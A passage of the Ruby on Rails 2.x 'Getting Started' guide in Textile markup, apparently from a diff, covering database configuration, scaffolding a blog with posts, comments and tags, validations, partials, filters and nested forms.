+|vendor/|A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.| + +h4. Configuring a Database + +Just about every Rails application will interact with a database. The database to use is specified in a configuration file, +config/database.yml+. +If you open this file in a new Rails application, you'll see a default database configuration using SQLite. The file contains sections for three different environments in which Rails can run by default: + +* The +development+ environment is used on your development computer as you interact manually with the application +* The +test+ environment is used to run automated tests +* The +production+ environment is used when you deploy your application for the world to use. + +h5. Configuring a SQLite Database + +Rails comes with built-in support for "SQLite":http://www.sqlite.org, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later. + +Here's the section of the default configuration file with connection information for the development environment: + +<yaml> +development: +adapter: sqlite3 +database: db/development.sqlite3 +pool: 5 +timeout: 5000 +</yaml> + +If you don't have any database set up, SQLite is the easiest to get installed. If you're on OS X 10.5 or greater on a Mac, you already have it. Otherwise, you can install it using RubyGems: + +<shell> +$ gem install sqlite3-ruby +</shell> + +h5. Configuring a MySQL Database + +If you choose to use MySQL, your +config/database.yml+ will look a little different. Here's the development section: + +<yaml> +development: +adapter: mysql +encoding: utf8 +database: blog_development +pool: 5 +username: root +password: +socket: /tmp/mysql.sock +</yaml> + +If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the +development+ section as appropriate. + +h5. Configuring a PostgreSQL Database + +If you choose to use PostgreSQL, your +config/database.yml+ will be customized to use PostgreSQL databases: + +<yaml> +development: +adapter: postgresql +encoding: unicode +database: blog_development +pool: 5 +username: blog +password: +</yaml> + +Change the username and password in the +development+ section as appropriate. + +h4. Creating the Database + +Now that you have your database configured, it's time to have Rails create an empty database for you. You can do this by running a rake command: + +<shell> +$ rake db:create +</shell> + +NOTE. Rake is a general-purpose command-runner that Rails uses for many things. You can see the list of available rake commands in your application by running +rake -T+. + +h3. Hello, Rails! + +One of the traditional places to start with a new language is by getting some text up on screen quickly. To do that in Rails, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal: + +<shell> +$ script/generate controller home index +</shell> + +TIP. If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails +script+ commands to Ruby: +ruby script/generate controller home index+. + +Rails will create several files for you, including +app/views/home/index.html.erb+. This is the template that will be used to display the results of the +index+ action (method) in the +home+ controller. Open this file in your text editor and edit it to contain a single line of code: + +<code class="html"> +<h1>Hello, Rails!</h1> +</code> + +h4. Starting up the Web Server + +You actually have a functional Rails application already - after running only two commands! To see it, you need to start a web server on your development machine. You can do this by running another command: + +<shell> +$ script/server +</shell> + +This will fire up an instance of the Mongrel web server by default (Rails can also use several other web servers). To see your application in action, open a browser window and navigate to +http://localhost:3000+. You should see Rails' default information page: + +!images/rails_welcome.png(Welcome Aboard screenshot)! + +TIP. To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server. + +The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to +http://localhost:3000/home/index+. + +h4. Setting the Application Home Page + +You'd probably like to replace the "Welcome Aboard" page with your own application's home page. The first step to doing this is to delete the default page from your application: + +<shell> +$ rm public/index.html +</shell> + +Now, you have to tell Rails where your actual home page is located. Open the file +config/routes.rb+ in your editor. This is your application's, _routing file_, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you'll see the _default routes_: + +<ruby> +map.connect ':controller/:action/:id' +map.connect ':controller/:action/:id.:format' +</ruby> + +The default routes handle simple requests such as +/home/index+: Rails translates that into a call to the +index+ action in the +home+ controller. As another example, +/posts/edit/1+ would run the +edit+ action in the +posts+ controller with an +id+ of 1. + +To hook up your home page, you need to add another line to the routing file, above the default routes: + +<ruby> +map.root :controller => "home" +</ruby> + +This line illustrates one tiny bit of the "convention over configuration" approach: if you don't specify an action, Rails assumes the +index+ action. + +Now if you navigate to +http://localhost:3000+ in your browser, you'll see the +home/index+ view. + +NOTE. For more information about routing, refer to "Rails Routing from the Outside In":routing.html. + +h3. Getting Up and Running Quickly with Scaffolding + +Rails _scaffolding_ is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job. + +h3. Creating a Resource + +In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal: + +<shell> +$ script/generate scaffold Post name:string title:string content:text +</shell> + +NOTE. While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch. + +The scaffold generator will build 14 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates: + +|_.File |_.Purpose| +|app/models/post.rb |The Post model| +|db/migrate/20090113124235_create_posts.rb |Migration to create the posts table in your database (your name will include a different timestamp)| +|app/views/posts/index.html.erb |A view to display an index of all posts | +|app/views/posts/show.html.erb |A view to display a single post| +|app/views/posts/new.html.erb |A view to create a new post| +|app/views/posts/edit.html.erb |A view to edit an existing post| +|app/views/layouts/posts.html.erb |A view to control the overall look and feel of the other posts views| +|public/stylesheets/scaffold.css |Cascading style sheet to make the scaffolded views look better| +|app/controllers/posts_controller.rb |The Posts controller| +|test/functional/posts_controller_test.rb |Functional testing harness for the posts controller| +|app/helpers/posts_helper.rb |Helper functions to be used from the posts views| +|config/routes.rb |Edited to include routing information for posts| +|test/fixtures/posts.yml |Dummy posts for use in testing| +|test/unit/post_test.rb |Unit testing harness for the posts model| +|test/unit/helpers/posts_helper_test.rb |Unit testing harness for the posts helper| + +h4. Running a Migration + +One of the products of the +script/generate scaffold+ command is a _database migration_. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created. + +If you look in the +db/migrate/20090113124235_create_posts.rb+ file (remember, yours will have a slightly different name), here's what you'll find: + +<ruby> +class CreatePosts < ActiveRecord::Migration + def self.up + create_table :posts do |t| + t.string :name + t.string :title + t.text :content + + t.timestamps + end + end + + def self.down + drop_table :posts + end +end +</ruby> + +If you were to translate that into words, it says something like: when this migration is run, create a table named +posts+ with two string columns (+name+ and +title+) and a text column (+content+), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the "Rails Database Migrations":migrations.html guide. + +At this point, you can use a rake command to run the migration: + +<shell> +$ rake db:migrate +</shell> + +Remember, you can't run migrations before running +rake db:create+ to create your database, as we covered earlier. + +NOTE: Because you're working in the development environment by default, this command will apply to the database defined in the +development+ section of your +config/database.yml+ file. + +h4. Adding a Link + +To hook the posts up to the home page you've already created, you can add a link to the home page. Open +/app/views/home/index.html.erb+ and modify it as follows: + +<code lang="ruby"> +<h1>Hello, Rails!</h1> +<%= link_to "My Blog", posts_path %> +</code> + +The +link_to+ method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts. + +h4. Working with Posts in the Browser + +Now you're ready to start working with posts. To do that, navigate to +http://localhost:3000+ and then click the "My Blog" link: + +!images/posts_index.png(Posts Index screenshot)! + +This is the result of Rails rendering the +index+ view of your posts. There aren't currently any posts in the database, but if you click the +New Post+ link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single +script/generate scaffold+ command. + +TIP. In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server. + +Congratulations, you're riding the rails! Now it's time to see how it all works. + +h4. The Model + +The model file, +app/models/post.rb+ is about as simple as it can get: + +<ruby> +class Post < ActiveRecord::Base +end +</ruby> + +There isn't much to this file - but note that the +Post+ class inherits from +ActiveRecord::Base+. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another. + +h4. Adding Some Validation + +Rails includes methods to help you validate the data that you send to models. Open the +app/models/post.rb+ file and edit it: + +<ruby> +class Post < ActiveRecord::Base + validates_presence_of :name, :title + validates_length_of :title, :minimum => 5 +end +</ruby> + +These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects. + +h4. Using the Console + +To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application: + +<shell> +$ script/console +</shell> + +After the console loads, you can use it to work with your application's models: + +<shell> +>> p = Post.create(:content => "A new post") +=> #<Post id: nil, name: nil, title: nil, content: "A new post", +created_at: nil, updated_at: nil> +>> p.save +=> false +>> p.errors +=> #<ActiveRecord::Errors:0x23bcf0c @base=#<Post id: nil, name: nil, +title: nil, content: "A new post", created_at: nil, updated_at: nil>, +@errors={"name"=>["can't be blank"], "title"=>["can't be blank", +"is too short (minimum is 5 characters)"]}> +</shell> + +This code shows creating a new +Post+ instance, attempting to save it and getting +false+ for a return value (indicating that the save failed), and inspecting the +errors+ of the post. + +TIP: Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes to your models while the console is open, type +reload!+ at the console prompt to load them. + +h4. Listing All Posts + +The easiest place to start looking at functionality is with the code that lists all posts. Open the file +app/controllers/posts_controller.rb + and look at the +index+ action: + +<ruby> +def index + @posts = Post.find(:all) + + respond_to do |format| + format.html # index.html.erb + format.xml { render :xml => @posts } + end +end +</ruby> + +This code sets the +@posts+ instance variable to an array of all posts in the database. +Post.find(:all)+ or +Post.all+ calls the +Post+ model to return all of the posts that are currently in the database, with no limiting conditions. + +TIP: For more information on finding records with Active Record, see "Active Record Query Interface":active_record_querying.html. + +The +respond_to+ block handles both HTML and XML calls to this action. If you browse to +http://localhost:3000/posts.xml+, you'll see all of the posts in XML format. The HTML format looks for a view in +app/views/posts/+ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's +app/views/posts/index.html.erb+: + +<erb> +<h1>Listing posts</h1> + +<table> + <tr> + <th>Name</th> + <th>Title</th> + <th>Content</th> + </tr> + +<% for post in @posts %> + <tr> + <td><%=h post.name %></td> + <td><%=h post.title %></td> + <td><%=h post.content %></td> + <td><%= link_to 'Show', post %></td> + <td><%= link_to 'Edit', edit_post_path(post) %></td> + <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', + :method => :delete %></td> + </tr> +<% end %> +</table> + +<br /> + +<%= link_to 'New post', new_post_path %> +</erb> + +This view iterates over the contents of the +@posts+ array to display content and links. A few things to note in the view: + +* +h+ is a Rails helper method to sanitize displayed data, preventing cross-site scripting attacks +* +link_to+ builds a hyperlink to a particular destination +* +edit_post_path+ is a helper that Rails provides as part of RESTful routing. You’ll see a variety of these helpers for the different actions that the controller includes. + +TIP. For more details on the rendering process, see "Layouts and Rendering in Rails":layouts_and_rendering.html. + +h4. Customizing the Layout + +The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of +layouts+, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. The +script/generate scaffold+ command automatically created a default layout, +app/views/layouts/posts.html.erb+, for the posts. Open this layout in your editor and modify the +body+ tag: + +<erb> +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> + +<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> +<head> + <meta http-equiv="content-type" + content="text/html;charset=UTF-8" /> + <title>Posts: <%= controller.action_name %></title> + <%= stylesheet_link_tag 'scaffold' %> +</head> +<body style="background: #EEEEEE;"> + +<p style="color: green"><%= flash[:notice] %></p> + +<%= yield %> + +</body> +</html> +</erb> + +Now when you refresh the +/posts+ page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts. + +h4. Creating New Posts + +Creating a new post involves two actions. The first is the +new+ action, which instantiates an empty +Post+ object: + +<ruby> +def new + @post = Post.new + + respond_to do |format| + format.html # new.html.erb + format.xml { render :xml => @post } + end +end +</ruby> + +The +new.html.erb+ view displays this empty Post to the user: + +<erb> +<h1>New post</h1> + +<% form_for(@post) do |f| %> + <%= f.error_messages %> + + <p> + <%= f.label :name %><br /> + <%= f.text_field :name %> + </p> + <p> + <%= f.label :title %><br /> + <%= f.text_field :title %> + </p> + <p> + <%= f.label :content %><br /> + <%= f.text_area :content %> + </p> + <p> + <%= f.submit "Create" %> + </p> +<% end %> + +<%= link_to 'Back', posts_path %> +</erb> + +The +form_for+ block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, +f.text_field :name+ tells Rails to create a text input on the form, and to hook it up to the +name+ attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case +name+, +title+, and +content+). Rails uses +form_for+ in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance. + +TIP: If you need to create an HTML form that displays arbitrary fields, not tied to a model, you should use the +form_tag+ method, which provides shortcuts for building forms that are not necessarily tied to a model instance. + +When the user clicks the +Create+ button on this form, the browser will send information back to the +create+ method of the controller (Rails knows to call the +create+ method because the form is sent with an HTTP POST request; that's one of the conventions that I mentioned earlier): + +<ruby> +def create + @post = Post.new(params[:post]) + + respond_to do |format| + if @post.save + flash[:notice] = 'Post was successfully created.' + format.html { redirect_to(@post) } + format.xml { render :xml => @post, :status => :created, + :location => @post } + else + format.html { render :action => "new" } + format.xml { render :xml => @post.errors, + :status => :unprocessable_entity } + end + end +end +</ruby> + +The +create+ action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the +params+ hash. After saving the new post, it uses +flash[:notice]+ to create an informational message for the user, and redirects to the show action for the post. If there's any problem, the +create+ action just shows the +new+ view a second time, with any error messages. + +Rails provides the +flash+ hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of +create+, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the +show+ action, they are presented with a message saying "Post was successfully created." + +h4. Showing an Individual Post + +When you click the +show+ link for a post on the index page, it will bring you to a URL like +http://localhost:3000/posts/1+. Rails interprets this as a call to the +show+ action for the resource, and passes in +1+ as the +:id+ parameter. Here's the +show+ action: + +<ruby> +def show + @post = Post.find(params[:id]) + + respond_to do |format| + format.html # show.html.erb + format.xml { render :xml => @post } + end +end +</ruby> + +The +show+ action uses +Post.find+ to search for a single record in the database by its id value. After finding the record, Rails displays it by using +show.html.erb+: + +<erb> +<p> + <b>Name:</b> + <%=h @post.name %> +</p> + +<p> + <b>Title:</b> + <%=h @post.title %> +</p> + +<p> + <b>Content:</b> + <%=h @post.content %> +</p> + + +<%= link_to 'Edit', edit_post_path(@post) %> | +<%= link_to 'Back', posts_path %> +</erb> + +h4. Editing Posts + +Like creating a new post, editing a post is a two-part process. The first step is a request to +edit_post_path(@post)+ with a particular post. This calls the +edit+ action in the controller: + +<ruby> +def edit + @post = Post.find(params[:id]) +end +</ruby> + +After finding the requested post, Rails uses the +edit.html.erb+ view to display it: + +<erb> +<h1>Editing post</h1> + +<% form_for(@post) do |f| %> + <%= f.error_messages %> + + <p> + <%= f.label :name %><br /> + <%= f.text_field :name %> + </p> + <p> + <%= f.label :title %><br /> + <%= f.text_field :title %> + </p> + <p> + <%= f.label :content %><br /> + <%= f.text_area :content %> + </p> + <p> + <%= f.submit "Update" %> + </p> +<% end %> + +<%= link_to 'Show', @post %> | +<%= link_to 'Back', posts_path %> +</erb> + +Submitting the form created by this view will invoke the +update+ action within the controller: + +<ruby> +def update + @post = Post.find(params[:id]) + + respond_to do |format| + if @post.update_attributes(params[:post]) + flash[:notice] = 'Post was successfully updated.' + format.html { redirect_to(@post) } + format.xml { head :ok } + else + format.html { render :action => "edit" } + format.xml { render :xml => @post.errors, + :status => :unprocessable_entity } + end + end +end +</ruby> + +In the +update+ action, Rails first uses the +:id+ parameter passed back from the edit view to locate the database record that's being edited. The +update_attributes+ call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post's +show+ view. If there are any problems, it's back to +edit+ to correct them. + +NOTE. Sharp-eyed readers will have noticed that the +form_for+ declaration is identical for the +new+ and +edit+ views. Rails generates different code for the two forms because it's smart enough to notice that in the one case it's being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a _partial template_, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for +create+ and +edit+. + +h4. Destroying a Post + +Finally, clicking one of the +destroy+ links sends the associated id to the +destroy+ action: + +<ruby> +def destroy + @post = Post.find(params[:id]) + @post.destroy + + respond_to do |format| + format.html { redirect_to(posts_url) } + format.xml { head :ok } + end +end +</ruby> + +The +destroy+ method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index view for the model. + +h3. DRYing up the Code + +At this point, it’s worth looking at some of the tools that Rails provides to eliminate duplication in your code. In particular, you can use _partials_ to clean up duplication in views and _filters_ to help with duplication in controllers. + +h4. Using Partials to Eliminate View Duplication + +As you saw earlier, the scaffold-generated views for the +new+ and +edit+ actions are largely identical. You can pull the shared code out into a partial template. This requires editing the new and edit views, and adding a new template. The new +_form.html.erb+ template should be saved in the same +app/views/posts+ folder as the files from which it is being extracted. Note that the name of this file begins with an underscore; that's the Rails naming convention for partial templates. + +<tt>new.html.erb</tt>: + +<html> +<h1>New post</h1> + +<%= render :partial => "form" %> + +<%= link_to 'Back', posts_path %> +</html> + +<tt>edit.html.erb</tt>: + +<erb> +<h1>Editing post</h1> + +<%= render :partial => "form" %> + +<%= link_to 'Show', @post %> | +<%= link_to 'Back', posts_path %> +</erb> + +<tt>_form.html.erb</tt>: + +<erb> +<% form_for(@post) do |f| %> + <%= f.error_messages %> + + <p> + <%= f.label :name %><br /> + <%= f.text_field :name %> + </p> + <p> + <%= f.label :title, "title" %><br /> + <%= f.text_field :title %> + </p> + <p> + <%= f.label :content %><br /> + <%= f.text_area :content %> + </p> + <p> + <%= f.submit "Save" %> + </p> +<% end %> +</erb> + +Now, when Rails renders the +new+ or +edit+ view, it will insert the +_form+ partial at the indicated point. Note the naming convention for partials: if you refer to a partial named +form+ inside of a view, the corresponding file is +_form.html.erb+, with a leading underscore. + +For more information on partials, refer to the "Layouts and Rending in Rails":layouts_and_rendering.html guide. + +h4. Using Filters to Eliminate Controller Duplication + +At this point, if you look at the controller for posts, you’ll see some duplication: + +<ruby> +class PostsController < ApplicationController + # ... + def show + @post = Post.find(params[:id]) + # ... + end + + def edit + @post = Post.find(params[:id]) + end + + def update + @post = Post.find(params[:id]) + # ... + end + + def destroy + @post = Post.find(params[:id]) + # ... + end +end +</ruby> + +Four instances of the exact same line of code doesn’t seem very DRY. Rails provides _filters_ as a way to address this sort of repeated code. In this case, you can DRY things up by using a +before_filter+: + +<ruby> +class PostsController < ApplicationController + before_filter :find_post, + :only => [:show, :edit, :update, :destroy] + # ... + def show + # ... + end + + def edit + end + + def update + # ... + end + + def destroy + # ... + end + + private + def find_post + @post = Post.find(params[:id]) + end +end +</ruby> + +Rails runs _before filters_ before any action in the controller. You can use the +:only+ clause to limit a before filter to only certain actions, or an +:except+ clause to specifically skip a before filter for certain actions. Rails also allows you to define _after filters_ that run after processing an action, as well as _around filters_ that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers. + +For more information on filters, see the "Action Controller Overview":action_controller_overview.html guide. + +h3. Adding a Second Model + +Now that you've seen what's in a model built with scaffolding, it's time to add a second model to the application. The second model will handle comments on blog posts. + +h4. Generating a Model + +Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal: + +<shell> +$ script/generate model Comment commenter:string body:text + post:references +</shell> + +This command will generate four files: + +* +app/models/comment.rb+ - The model +* +db/migrate/20091013214407_create_comments.rb+ - The migration +* +test/unit/comment_test.rb+ and +test/fixtures/comments.yml+ - The test harness. + +First, take a look at +comment.rb+: + +<ruby> +class Comment < ActiveRecord::Base + belongs_to :post +end +</ruby> + +This is very similar to the +post.rb+ model that you saw earlier. The difference is the line +belongs_to :post+, which sets up an Active Record _association_. You'll learn a little about associations in the next section of this guide. + +In addition to the model, Rails has also made a migration to create the corresponding database table: + +<ruby> +class CreateComments < ActiveRecord::Migration + def self.up + create_table :comments do |t| + t.string :commenter + t.text :body + t.references :post + + t.timestamps + end + end + + def self.down + drop_table :comments + end +end +</ruby> + +The +t.references+ line sets up a foreign key column for the association between the two models. Go ahead and run the migration: + +<shell> +$ rake db:migrate +</shell> + +Rails is smart enough to only execute the migrations that have not already been run against the current database. + +h4. Associating Models + +Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way: + +* Each comment belongs to one post +* One post can have many comments + +In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post: + +<ruby> +class Comment < ActiveRecord::Base + belongs_to :post +end +</ruby> + +You'll need to edit the +post.rb+ file to add the other side of the association: + +<ruby> +class Post < ActiveRecord::Base + validates_presence_of :name, :title + validates_length_of :title, :minimum => 5 + has_many :comments +end +</ruby> + +These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable +@post+ containing a post, you can retrieve all the comments belonging to that post as the array +@post.comments+. + +TIP: For more information on Active Record associations, see the "Active Record Associations":association_basics.html guide. + +h4. Adding a Route + +_Routes_ are entries in the +config/routes.rb+ file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to +posts+ (it will be right at the top of the file). Then edit it as follows: + +<ruby> +map.resources :posts, :has_many => :comments +</ruby> + +This creates +comments+ as a _nested resource_ within +posts+. This is another part of capturing the hierarchical relationship that exists between posts and comments. + +TIP: For more information on routing, see the "Rails Routing from the Outside In":routing_outside_in.html guide. + +h4. Generating a Controller + +With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this: + +<shell> +$ script/generate controller Comments index show new edit +</shell> + +This creates seven files: + +* +app/controllers/comments_controller.rb+ - The controller +* +app/helpers/comments_helper.rb+ - A view helper file +* +app/views/comments/index.html.erb+ - The view for the index action +* +app/views/comments/show.html.erb+ - The view for the show action +* +app/views/comments/new.html.erb+ - The view for the new action +* +app/views/comments/edit.html.erb+ - The view for the edit action +* +test/functional/comments_controller_test.rb+ - The functional tests for the controller + +The controller will be generated with empty methods and views for each action that you specified in the call to +script/generate controller+: + +<ruby> +class CommentsController < ApplicationController + def index + end + + def show + end + + def new + end + + def edit + end + +end +</ruby> + +You'll need to flesh this out with code to actually process requests appropriately in each method. Here's a version that (for simplicity's sake) only responds to requests that require HTML: + +<ruby> +class CommentsController < ApplicationController + def index + @post = Post.find(params[:post_id]) + @comments = @post.comments + end + + def show + @post = Post.find(params[:post_id]) + @comment = @post.comments.find(params[:id]) + end + + def new + @post = Post.find(params[:post_id]) + @comment = @post.comments.build + end + + def create + @post = Post.find(params[:post_id]) + @comment = @post.comments.build(params[:comment]) + if @comment.save + redirect_to post_comment_url(@post, @comment) + else + render :action => "new" + end + end + + def edit + @post = Post.find(params[:post_id]) + @comment = @post.comments.find(params[:id]) + end + + def update + @post = Post.find(params[:post_id]) + @comment = Comment.find(params[:id]) + if @comment.update_attributes(params[:comment]) + redirect_to post_comment_url(@post, @comment) + else + render :action => "edit" + end + end + + def destroy + @post = Post.find(params[:post_id]) + @comment = Comment.find(params[:id]) + @comment.destroy + + respond_to do |format| + format.html { redirect_to post_comments_path(@post) } + format.xml { head :ok } + end + end + +end +</ruby> + +You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached. + +In addition, the code takes advantage of some of the methods available for an association. For example, in the +new+ method, it calls + +<ruby> +@comment = @post.comments.build +</ruby> + +This creates a new +Comment+ object _and_ sets up the +post_id+ field to have the +id+ from the specified +Post+ object in a single operation. + +h4. Building Views + +Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking +script/generate controller+ will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views. + +The +views/comments/index.html.erb+ view: + +<erb> +<h1>Comments for <%= @post.title %></h1> + +<table> + <tr> + <th>Commenter</th> + <th>Body</th> + </tr> + +<% for comment in @comments %> + <tr> + <td><%=h comment.commenter %></td> + <td><%=h comment.body %></td> + <td><%= link_to 'Show', post_comment_path(@post, comment) %></td> + <td> + <%= link_to 'Edit', edit_post_comment_path(@post, comment) %> + </td> + <td> + <%= link_to 'Destroy', post_comment_path(@post, comment), + :confirm => 'Are you sure?', :method => :delete %> + </td> + </tr> +<% end %> +</table> + +<br /> + +<%= link_to 'New comment', new_post_comment_path(@post) %> +<%= link_to 'Back to Post', @post %> +</erb> + +The +views/comments/new.html.erb+ view: + +<erb> +<h1>New comment</h1> + +<% form_for([@post, @comment]) do |f| %> + <%= f.error_messages %> + + <p> + <%= f.label :commenter %><br /> + <%= f.text_field :commenter %> + </p> + <p> + <%= f.label :body %><br /> + <%= f.text_area :body %> + </p> + <p> + <%= f.submit "Create" %> + </p> +<% end %> + +<%= link_to 'Back', post_comments_path(@post) %> +</erb> + +The +views/comments/show.html.erb+ view: + +<erb> +<h1>Comment on <%= @post.title %></h1> + +<p> + <b>Commenter:</b> + <%=h @comment.commenter %> +</p> + +<p> + <b>Comment:</b> + <%=h @comment.body %> +</p> + +<%= link_to 'Edit', edit_post_comment_path(@post, @comment) %> | +<%= link_to 'Back', post_comments_path(@post) %> +</erb> + +The +views/comments/edit.html.erb+ view: + +<erb> +<h1>Editing comment</h1> + +<% form_for([@post, @comment]) do |f| %> + <%= f.error_messages %> + + <p> + <%= f.label :commenter %><br /> + <%= f.text_field :commenter %> + </p> + <p> + <%= f.label :body %><br /> + <%= f.text_area :body %> + </p> + <p> + <%= f.submit "Update" %> + </p> +<% end %> + +<%= link_to 'Show', post_comment_path(@post, @comment) %> | +<%= link_to 'Back', post_comments_path(@post) %> +</erb> + +Again, the added complexity here (compared to the views you saw for managing posts) comes from the necessity of juggling a post and its comments at the same time. + +h4. Hooking Comments to Posts + +As a next step, I'll modify the +views/posts/show.html.erb+ view to show the comments on that post, and to allow managing those comments: + +<erb> +<p> + <b>Name:</b> + <%=h @post.name %> +</p> + +<p> + <b>Title:</b> + <%=h @post.title %> +</p> + +<p> + <b>Content:</b> + <%=h @post.content %> +</p> + +<h2>Comments</h2> +<% @post.comments.each do |c| %> + <p> + <b>Commenter:</b> + <%=h c.commenter %> + </p> + + <p> + <b>Comment:</b> + <%=h c.body %> + </p> +<% end %> + +<%= link_to 'Edit Post', edit_post_path(@post) %> | +<%= link_to 'Back to Posts', posts_path %> | +<%= link_to 'Manage Comments', post_comments_path(@post) %> +</erb> + +Note that each post has its own individual comments collection, accessible as +@post.comments+. That's a consequence of the declarative associations in the models. Path helpers such as +post_comments_path+ come from the nested route declaration in +config/routes.rb+. + +h3. Building a Multi-Model Form + +Comments and posts are edited on two separate forms - which makes sense, given the flow of this mini-application. But what if you want to edit more than one thing on a single form? Rails 2.3 offers new support for nested forms. Let's add support for giving each post multiple tags, right in the form where you create the post. First, create a new model to hold the tags: + +<shell> +$ script/generate model tag name:string post:references +</shell> + +Run the migration to create the database table: + +<shell> +$ rake db:migrate +</shell> + +Next, edit the +post.rb+ file to create the other side of the association, and to tell Rails that you intend to edit tags via posts: + +<ruby> +class Post < ActiveRecord::Base + validates_presence_of :name, :title + validates_length_of :title, :minimum => 5 + has_many :comments + has_many :tags + + accepts_nested_attributes_for :tags, :allow_destroy => :true , + :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } } +end +</ruby> + +The +:allow_destroy+ option on the nested attribute declaration tells Rails to display a "remove" checkbox on the view that you'll build shortly. The +:reject_if+ option prevents saving new tags that do not have any attributes filled in. + +You'll also need to modify +views/posts/_form.html.erb+ to include the tags: + +<erb> +<% @post.tags.build if @post.tags.empty? %> +<% form_for(@post) do |post_form| %> + <%= post_form.error_messages %> + + <p> + <%= post_form.label :name %><br /> + <%= post_form.text_field :name %> + </p> + <p> + <%= post_form.label :title, "title" %><br /> + <%= post_form.text_field :title %> + </p> + <p> + <%= post_form.label :content %><br /> + <%= post_form.text_area :content %> + </p> + <h2>Tags</h2> + <% post_form.fields_for :tags do |tag_form| %> + <p> + <%= tag_form.label :name, 'Tag:' %> + <%= tag_form.text_field :name %> + </p> + <% unless tag_form.object.nil? || tag_form.object.new_record? %> + <p> + <%= tag_form.label :_delete, 'Remove:' %> + <%= tag_form.check_box :_delete %> + </p> + <% end %> + <% end %> + + <p> + <%= post_form.submit "Save" %> + </p> +<% end %> +</erb> + +With these changes in place, you'll find that you can edit a post and its tags directly on the same view. + +NOTE. You may want to use javascript to dynamically add additional tags on a single form. For an example of this and other advanced techniques, see the "nested model sample application":http://github.com/alloy/complex-form-examples/tree/nested_attributes. + +h3. What's Next? + +Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources: + +* The "Ruby On Rails guides":http://guides.rubyonrails.org +* The "Ruby on Rails mailing list":http://groups.google.com/group/rubyonrails-talk +* The #rubyonrails channel on irc.freenode.net + +Rails also comes with built-in help that you can generate using the rake command-line utility: + +* Running +rake doc:guides+ will put a full copy of the Rails Guides in the +/doc/guides+ folder of your application. Open +/doc/guides/index.html+ in your web browser to explore the Guides. +* Running +rake doc:rails+ will put a full copy of the API documentation for Rails in the +/doc/api+ folder of your application. Open +/doc/api/index.html+ in your web browser to explore the API documentation. + +h3. Changelog + 